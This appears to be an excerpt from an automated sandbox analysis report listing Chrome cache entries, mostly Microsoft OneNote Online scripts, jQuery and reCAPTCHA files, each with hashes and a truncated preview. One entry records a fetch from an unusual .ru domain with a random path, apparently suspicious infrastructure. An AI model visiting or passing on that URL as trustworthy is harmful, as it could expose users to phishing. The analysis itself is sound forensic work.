Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"onenoteonline","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"suiteshell","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":true,"graphinfo":{"graphclientid":"7eadcef8-456d-4611-9480-4fff72b8b9e2","graphscope":"user.read","graphcodeurl":"https://login.microsoftonline.com/common/oauth2/v2.0/authorize","graphredirecturi":"https://amc

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	101803
Entropy (8bit):	5.333052740426743
Encrypted:	false
SSDEEP:	1536:uRJ1IIdEgIamTvRJSRk9UUezt4C34zcsSClhev:uRRYamTvRJsUezt4w4ztlhev
MD5:	2F1D74149F052D3354358E9856375219
SHA1:	8019F7A2EA824930F91C3EC375D926B650FB1CFF
SHA-256:	66C70312DE6CA4E1D7EF1E858307764C241A80E7411CEE686EA2FC2D74152749
SHA-512:	2B1C4E057DBF59E89C3AA9C5DAB1FE8F512ED400088B13592E493B3D48AA334544A7999CA2DDEFA34C23D2F96A2F98B93DD0AAC80C3CF7C37D85B49C5A85A6E6
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/otel.worker.min.js
Preview:	var otelWorker=function(e){var n={};function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{enumerable:!0,get:r})},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.t=function(e,n){if(1&n&&(e=t(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var i in e)t.d(r,i,function(n){return e[n]}.bind(null,i));return r},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},t.p="",t(t.s=7)}([function(e,n,t){"use strict";t.d(n,"h",(function(){return r})),t.d(

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:LUQ9:LUA
MD5:	825644F747BAAB2C00E420DBBC39E4B3
SHA1:	10588307553E766AB3C7D328D948DC6754893CEF
SHA-256:	7C41B898C5DA0CFA4AA049B65EF50248BCE9A72D24BEF4C723786431921B75AA
SHA-512:	BFE6E8DF36C78CBFD17BA9270C86860EE9B051B82594FB8F34A0ADF6A14E1596D2A9DCDC7EB6857101E1502AFF6FF515A36E8BA6C80DA327BC11831624A5DAEA
Malicious:	false
Reputation:	low
Preview:	Bad Request

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (18992), with CRLF line terminators
Category:	downloaded
Size (bytes):	19181
Entropy (8bit):	4.3590974373798
Encrypted:	false
SSDEEP:	384:im1leaXgjDSEcE+fg1gKzqF9meWFaUOKco5FXp/kf/oezD:b1leajD0kiDlgMJkIy
MD5:	D9604CC18F364A6ADE707B7FAAEC642C
SHA1:	F38F0B94764184D4373886FDA1CA87D352BFCE5A
SHA-256:	F282423F48F12F56419363384F3B10002C8D3D106BC1AC8FF721602AA2B2FD9B
SHA-512:	7B305607B79F077539E3C37CD46EAFBB9E4C9B2A8825217187515CD20FFBFE204BAC43E918CD4440EB65A3A2DCFFC4140D06B43845613D48566448765B3D5DF4
Malicious:	false
Reputation:	low
URL:	https://usc-onenote.officeapps.live.com/o/App_Scripts/Acl/Acl1033.js
Preview:	.var AutoCorrectList={"(c)":".","(r)":".","(tm)":".","...":".","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"accommodate","accordingto":"according to","accross":"across","acheive":"achieve","acheived":"achieved","acheiving":"achieving","acn":"can","acommodate":"accommodate","acomodate":"accommodate","actualyl":"actually","additinal":"additional","addtional":"additional","adequit":"adequate","adequite":"adequate","adn":"and","advanage":"advantage","affraid":"afraid","afterthe":"after the","againstt he":"against the","aganist":"against","aggresive":"aggressive","agian":"again","agreemeent":"agreement","agreemeents":"agreements","agreemnet":"agreement","agreemnets":"agreements","agressive":"aggressive","ahppen":"happen","ahve":"have","allwasy":"always","allwyas":"always","almots":"almost","almsot":"almost","alomst":"almost","alot":"a lot","alraedy":

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	dropped
Size (bytes):	695
Entropy (8bit):	5.696679956038459
Encrypted:	false
SSDEEP:	12:HarRMs0pTestEsVEsl3Est3EshEsZ9NMzrI3TjEEofVcQ72TVkI3TjE:Har2nTeUEME23E+3EoEQ9NFj6kbjE
MD5:	648AD2F7EEA95A9B5491DCD2203B2F54
SHA1:	5FFA99938410AEBAB10B32308F242437B9432B53
SHA-256:	A3596C17DAD9A003D0BFBE0B7BA6765F51391B5C3943660316F01C8E77B323DB
SHA-512:	F7984FFEAEC122EFCBE36218979BB4C35E27007CC091BA5A8829BA5088999A3F9F7A7D5E11D90A05904D58644EC0B4E5EE1D57C68DD5270B7F456A762D8D699A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,.................0.+......H.....V..!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,..............z...cr...!.......,.................dp.,.....H.....;..!.......,..........2......dp.,...QP.Td......F.[...v..?y...."......!.......,..........0......dp.,...QP.Td..........gO:.......Q..!.......,..........*......dp.,...QP.Td..........g.\|.}.)..!.......,..........&......dp.,...QP.Td............>..!.......,..........#......dp.,...QP.Td........L.6V..!.......,.................dp.,.....H.....;..;

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	downloaded
Size (bytes):	91802
Entropy (8bit):	5.3603835700392946
Encrypted:	false
SSDEEP:	1536:Z4F18VDgLMcb+0XMPN1xWJVFqCN3tcULcUNHfF:Z4F18VDgLN9ON1cTj
MD5:	06423867592D7246B2509B064482709F
SHA1:	4FF499E171F2B154DCDD0AB94F843CDE151BEA4A
SHA-256:	B797BAA552116E4BA21EAD29F41A4258E3B04DB8DA18E796CE571F05D54D59C5
SHA-512:	E5B63AED7B3FAE13513DA4ABBCB0BE3D6493ACD4711CDE361DCDD5FE192A8A3FDDFD2DF4E06EA81844CA4360C267D0DD1C88727B28CB5B885240F2ABE02A836D
Malicious:	false
Reputation:	low
URL:	https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.17. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_17={},u="3.2.17",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1922), with no line terminators
Category:	downloaded
Size (bytes):	1922
Entropy (8bit):	5.006174566262526
Encrypted:	false
SSDEEP:	48:yThd/YIWeETNQuFNJMgBVAGzeFWOUutFRVoZjskBWs:U0IWYuPuG3yov
MD5:	3E3CD75B07B521BC61C01450E2C7873A
SHA1:	57D7881E0E878CABE74B1021CF86126148928DE7
SHA-256:	2882BF4B22D0AD63E6F8877EB5C22353921E8C87B197911462933B7D1A7A44B8
SHA-512:	3B1D53CB1F49B2CF8648CEF8EDEB526B924430F2FC622421DF6AB3F61E49449CD5EB8BCCC7E6A019575A4843B0D3C50A69C4B0BF1D1133F960E92969CAC37BE7
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161762240456_Scripts/BrowserUls.js
Preview:	function InitializeUls(){TheUlsHost=new Diag.ConsoleUlsHost;Diag.ULS.setUlsHost(TheUlsHost)}function FlushBrowserUls(){TheUlsHost&&TheUlsHost.dispose();InitializeUls()}var __extends=this.__extends\|\|function(n,t){function r(){this.constructor=n}for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i]);r.prototype=t.prototype;n.prototype=new r},Diag,TheUlsHost;(function(n){var t=function(){function n(){}return n.prototype.isEnabled=function(){var n=!1;try{typeof Storage!="undefined"&&(n=localStorage.getItem("EnableConsoleLogging")==="true")}catch(t){}return n&&window.console&&window.console.log},n.prototype.error=function(n){window.console.error(n)},n.prototype.warning=function(n){window.console.warn(n)},n.prototype.info=function(n){window.console.info(n)},n.prototype.log=function(n){window.console.log(n)},n}(),i=function(i){function r(r,u){r===void 0&&(r=new t);i.call(this,SessionId,BrowserUlsUploadPath,new n.UlsUploadConfiguration(null,null,null,null,null,null,!0));this._console=r;this._suppress

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 102 x 102, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1922
Entropy (8bit):	7.799930090275787
Encrypted:	false
SSDEEP:	48:cENciM7PxxsRcCzKzVT0waLFE8ASYXamdHN:cENIgiCSVT0EJSYXamdt
MD5:	D212459353E8FD1D2514C77703D44F1F
SHA1:	A0CABB548A218E87FBCB4D4ADDEA47068A4288D3
SHA-256:	7AD89A907BFE47019D905B92D0C203082AA75852D39B480E6FBE1718A8EA3647
SHA-512:	8AA0C6904EFE31A38B2A52F05F79153D933BC48C028D18C110F59089D0EB7EAF2D97E84A42F81BAA8906AFD2BBD8C895FE53D8E998A4417422B97497556E1B7D
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/m2/box43.png
Preview:	.PNG........IHDR...f...f.....9..b...IIDATx^.ml.E..o.E..........B....'_$..&.&.....h....A..4......[..........]iC..h1.HjE.......K&......>....<3;{._......X$..T\\(.o..#..2K....g.....Oe...C..`..p..ee%...g`.e.8....b.k.c.P.:B.tv^W..2RW.,.g.j.........y..i....2.P.....T.G...Z..5.......5H..?.H...P...9..(.h.....p}..9.tS0.......q}..`pWFK..9..(....8.......L..]O..z<.%.".4..Lj:F....4.............@..s$../bux.N.%.`..$IN...%'{#.....<..]\|....0..AYt..CDI..$...=....H)..W>.>.+G>....1b........(..1?R.A...Q...C`...X...C..q]..&.........."~.o~0.P....~(\|`..^Ph......"....P.]._U0.....k.t....e.%.y3......C`.{...._$..'....k.5..J.`R........'.A....0..P(4......g...m...Z.d.I...Q.QbA..f._.nm...".....K...Cw4...k..F.e..=~..d....\|s.....`.V...`....j..ww....-..V....f.......C...6v...p.9Y..h..Wj]..._`......Z..G.m.?....w)...~...(.....=a=.]a.+R...5.`.H$..D..ehW...@..2..#..j..T.w...c..T.w...#~....e........e.k.....C.c..e.F.2.`..j..1._:....o_,.j:.!0...%....9..c.......OY0.;....0\|.U>.@`...

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 102 x 102, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	7.799930090275787
Encrypted:	false
SSDEEP:	48:cENciM7PxxsRcCzKzVT0waLFE8ASYXamdHN:cENIgiCSVT0EJSYXamdt
MD5:	D212459353E8FD1D2514C77703D44F1F
SHA1:	A0CABB548A218E87FBCB4D4ADDEA47068A4288D3
SHA-256:	7AD89A907BFE47019D905B92D0C203082AA75852D39B480E6FBE1718A8EA3647
SHA-512:	8AA0C6904EFE31A38B2A52F05F79153D933BC48C028D18C110F59089D0EB7EAF2D97E84A42F81BAA8906AFD2BBD8C895FE53D8E998A4417422B97497556E1B7D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...f...f.....9..b...IIDATx^.ml.E..o.E..........B....'_$..&.&.....h....A..4......[..........]iC..h1.HjE.......K&......>....<3;{._......X$..T\\(.o..#..2K....g.....Oe...C..`..p..ee%...g`.e.8....b.k.c.P.:B.tv^W..2RW.,.g.j.........y..i....2.P.....T.G...Z..5.......5H..?.H...P...9..(.h.....p}..9.tS0.......q}..`pWFK..9..(....8.......L..]O..z<.%.".4..Lj:F....4.............@..s$../bux.N.%.`..$IN...%'{#.....<..]\|....0..AYt..CDI..$...=....H)..W>.>.+G>....1b........(..1?R.A...Q...C`...X...C..q]..&.........."~.o~0.P....~(\|`..^Ph......"....P.]._U0.....k.t....e.%.y3......C`.{...._$..'....k.5..J.`R........'.A....0..P(4......g...m...Z.d.I...Q.QbA..f._.nm...".....K...Cw4...k..F.e..=~..d....\|s.....`.V...`....j..ww....-..V....f.......C...6v...p.9Y..h..Wj]..._`......Z..G.m.?....w)...~...(.....=a=.]a.+R...5.`.H$..D..ehW...@..2..#..j..T.w...c..T.w...#~....e........e.k.....C.c..e.F.2.`..j..1._:....o_,.j:.!0...%....9..c.......OY0.;....0\|.U>.@`...

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (631)
Category:	downloaded
Size (bytes):	517649
Entropy (8bit):	5.713376874006511
Encrypted:	false
SSDEEP:	6144:m1K1Z7NMxjW6eJoWvAlUjWwuMSYCVvLk8DSWd1Ps8Jz38iZc:m6eWTAujfuPY0JGgkt
MD5:	E2E79D6B927169D9E0E57E3BAECC0993
SHA1:	1299473950B2999BA0B7F39BD5E4A60EAFD1819D
SHA-256:	231336ED913A5EBD4445B85486E053CAF2B81CAB91318241375F3F7A245B6C6B
SHA-512:	D6A2ED7B19E54D1447EE9BBC684AF7101B48086945A938A5F9B6AE74ACE30B9A98CA83D3183814DD3CC40F251AB6433DC7F8B425F313EA9557B83E1C2E035DFF
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3527), with no line terminators
Category:	downloaded
Size (bytes):	3527
Entropy (8bit):	5.243451451019216
Encrypted:	false
SSDEEP:	48:G6E6oKn0FmM8LOCvlocJZS1tJM3kL+4UT3LW0IwlQSoIQ90ESf4TmlSYmYBo:9yDWocHS3Wl4W3abOQS/CahlcYW
MD5:	DF2E618F66E5DE074A8070BC09CA3C4F
SHA1:	38F67C978761E4AEAA5341A4FF39C59C1DED221C
SHA-256:	BD0DD2B15855BE52CBA496CC6E8F0FF65FBBA6ADDBA92282E53CECA6B27BFCC9
SHA-512:	6CCA2001607B8DBA825F30116A7CD0FC93A0A32E01931DA86AD4820F883CB1AD25823D61443321525550E0EEDD17E0A018A1B13F6E802050593DE19E721F450B
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161762240456_Scripts/Instrumentation.js
Preview:	function GetInstrumentationCategory(){return instrumentationCategory?instrumentationCategory:InstrumentationCategoryString?instrumentationCategory=Diag.ULSCat[InstrumentationCategoryString]:null}function InstrumentLinks(n){for(var t,r=0,i=0;i<n.length;i++)t=n[i],t.id\|\|(t.id="un_"+r,r++),t.onclick=GenerateInstrumentationLink(t.id,t.onclick),t.ondragstart=GenerateDragInstrumentationLink(t.id,t.ondrag),t.oncontextmenu=GenerateContextMenuInstrumentationLink(t.id,t.oncontextmenu)}function LogUserViewPortInfo(){var t=$(window).width(),n=$(window).height(),i=screen.width,r=screen.height,u=$(document).height(),f=n/u100;Diag.ULS.sendTraceTag(6436628,GetInstrumentationCategory(),Diag.ULSTraceLevel.info,"User ViewPort Info;windowWidth={0};windowHeight={1};screenWidth={2};screenHeight={3};percentageOfPageVisible={4};",t,n,i,r,f.toFixed(3))}function UpdateFurthestScrollDepth(){var t=$(window).scrollTop(),i=$(window).height(),r=t+i,u=$(document).height(),n=r/u100;n>furthestScrollDepthPercentage&&(

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnZk8yFcE3qIhIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:LUQ9:LUA
MD5:	825644F747BAAB2C00E420DBBC39E4B3
SHA1:	10588307553E766AB3C7D328D948DC6754893CEF
SHA-256:	7C41B898C5DA0CFA4AA049B65EF50248BCE9A72D24BEF4C723786431921B75AA
SHA-512:	BFE6E8DF36C78CBFD17BA9270C86860EE9B051B82594FB8F34A0ADF6A14E1596D2A9DCDC7EB6857101E1502AFF6FF515A36E8BA6C80DA327BC11831624A5DAEA
Malicious:	false
Reputation:	low
Preview:	Bad Request

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65308), with no line terminators
Category:	downloaded
Size (bytes):	269792
Entropy (8bit):	5.706742611180922
Encrypted:	false
SSDEEP:	6144:lyRVbZ2ZQ+7A1dhj4GmitAnxzXRDVXCiQka8QWwD5U:oV98mdhjXFgxzXDCiQka8QWwD5U
MD5:	B1C51D5C36241F61E2D23EF0A32BD538
SHA1:	2C07D295EE7F1270C2AD9CE32CA5FA1777905549
SHA-256:	89B555AFC5FF4DC01AB8A289F0D84F7B2EB3A1E022C679FD650625C8E26D076A
SHA-512:	CA082573D94FD760DA770C4033F50288CC73BDB180629F0261113C089408F245BD11EB63108DFE03349DFB3DDEF6CF87CB74BDE02B6EFFD92094107CFA440454
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/suiteux-shell/js/suiteux.shell.core.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_core_start"),function(){var e,t,n,o,r,i={42656:function(e,t,n){"use strict";var o;n.d(t,{N:function(){return o}}),function(e){e.depth0="0 0 0 0 transparent",e.depth4="0 1.6px 3.6px 0 rgba(0, 0, 0, 0.132), 0 0.3px 0.9px 0 rgba(0, 0, 0, 0.108)",e.depth8="0 3.2px 7.2px 0 rgba(0, 0, 0, 0.132), 0 0.6px 1.8px 0 rgba(0, 0, 0, 0.108)",e.depth16="0 6.4px 14.4px 0 rgba(0, 0, 0, 0.132), 0 1.2px 3.6px 0 rgba(0, 0, 0, 0.108)",e.depth64="0 25.6px 57.6px 0 rgba(0, 0, 0, 0.22), 0 4.8px 14.4px 0 rgba(0, 0, 0, 0.18)"}(o\|\|(o={}))},89433:function(e,t,n){"use strict";n.d(t,{Q:function(){return c}});var o=/[$\[\{\<][^$\]\}\>][\)\]\}\>]/g,r=/[\0-\u001F\!-/:-@\[-`\{-\u00BF\u0250-\u036F\uD800-\uFFFF]/g,i=/^\d+[\d\s](:?ext\|x\|)\s*\d+$/i,s=/\s+/g,a=/[\u0600-\u06FF\u0750-\u077F\u08A0-\u08FF\u1100-\u11FF\u3130-\u318F\uA960-

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	low
URL:	https://fnfi.kewtdz.ru/SUVzboZNwimQDAeQjTbBsnxxfTAjvAelcAHJQEVAPOHTVABUGSGQZJDIRYQLFYZOZDQHIECNULIQVSPL
Preview:	0

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	112261
Entropy (8bit):	5.13097356220368
Encrypted:	false
SSDEEP:	1536:F3aTm6ALG5SH04NcnOxtCDpdziaoIl3fKF1cEilqVcAd:wa+nuE2aoIl3fK4lCc8
MD5:	1DC889AC693F912C263AA6D27A258A93
SHA1:	B2100EA2AEE5ED5FD90E0331F26160CDD5D1B002
SHA-256:	9224E5240ABC039D55CB765EA6611F07BA95F5E59C05DA325C968470946C6E52
SHA-512:	49654A757D9C5CFD838848AF856B2A0D9FE9960CEED297E4244F948E42441506B7502DBED1236448BFF09EF4444FDF20A25197DC7E55FC4394EB2ED70CB1B0ED
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/onenoteink.js
Preview:	var onenoteink;(()=>{"use strict";var t={699:t=>{var e,i="object"==typeof Reflect?Reflect:null,n=i&&"function"==typeof i.apply?i.apply:function(t,e,i){return Function.prototype.apply.call(t,e,i)};e=i&&"function"==typeof i.ownKeys?i.ownKeys:Object.getOwnPropertySymbols?function(t){return Object.getOwnPropertyNames(t).concat(Object.getOwnPropertySymbols(t))}:function(t){return Object.getOwnPropertyNames(t)};var o=Number.isNaN\|\|function(t){return t!=t};function s(){s.init.call(this)}t.exports=s,t.exports.once=function(t,e){return new Promise((function(i,n){function o(i){t.removeListener(e,s),n(i)}function s(){"function"==typeof t.removeListener&&t.removeListener("error",o),i([].slice.call(arguments))}g(t,e,s,{once:!0}),"error"!==e&&function(t,e,i){"function"==typeof t.on&&g(t,"error",e,{once:!0})}(t,o)}))},s.EventEmitter=s,s.prototype._events=void 0,s.prototype._eventsCount=0,s.prototype._maxListeners=void 0;var r=10;function a(t){if("function"!=typeof t)throw new TypeError('The "listener

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.708048150071232
Encrypted:	false
SSDEEP:	3:HyjJTzMKHJu:HyjNz5pu
MD5:	435B48C70ACA2DC80F8B34B5FDEB2789
SHA1:	FFE2C8567607568F939FA1A6F9888639B98B400C
SHA-256:	6468AC9F9BCA964F3910FC967B80781C1C8634300E36F95AE49056D91A2734BF
SHA-512:	5C73531F908067B986F4F7F1BB423DC6FC4B1CDC9A6C65205658BD2A2499CB53F0F1C4EB928B8B87B189D969C3769F9D97EA5AB1CEA97FE6F18D2DD4AD583C60
Malicious:	false
Reputation:	low
Preview:	The service is unavailable.

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89493
Entropy (8bit):	5.289599913770796
Encrypted:	false
SSDEEP:	1536:YjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h5cApwEjOPrBeU6QLiTFbc0QlQvakF:YYh8eip3hXuf6IidlrvakdtQ47GK1
MD5:	12108007906290015100837A6A61E9F4
SHA1:	1D6AE46F2FFA213DEDE37A521B011EC1CD8D1AD3
SHA-256:	C4DCCDD9AE25B64078E0C73F273DE94F8894D5C99E4741645ECE29AEEFC9C5A4
SHA-512:	93658F3EB4A044523A7136871E125D73C9005DA44CE09045103A35A4F18695888ECAFE2F9C0D0FA741B95CC618C6000F9AD9AFFC821A400EA7E5F2C0C8968530
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js
Preview:	/! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41116)
Category:	downloaded
Size (bytes):	41140
Entropy (8bit):	5.513380748841639
Encrypted:	false
SSDEEP:	768:2ox/6ef5WhPJ76SqwRltw7u0kBQrKeTgVzVyh4Hs2V7M3B3:2i5WhIIl2K6VUhyhR2V74N
MD5:	08FBFF79B5EEC28DDFF4D772223B81A9
SHA1:	AAABD7E0B32698E8295139C4868E9AEE5EDBD112
SHA-256:	773A678845579E6334F19D4E62F29446E7898BD816359C74574E37884503F909
SHA-512:	F94A2C8D756313A616F4E3DBDB9661AF3CC843F74CF066243C649F943E4AEAB696E01E37E33CC57DF16F73504B529702D28C779931ADC2630C6D4FD318FFDDC7
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161762240456_Scripts/CommonDiagnostics.js
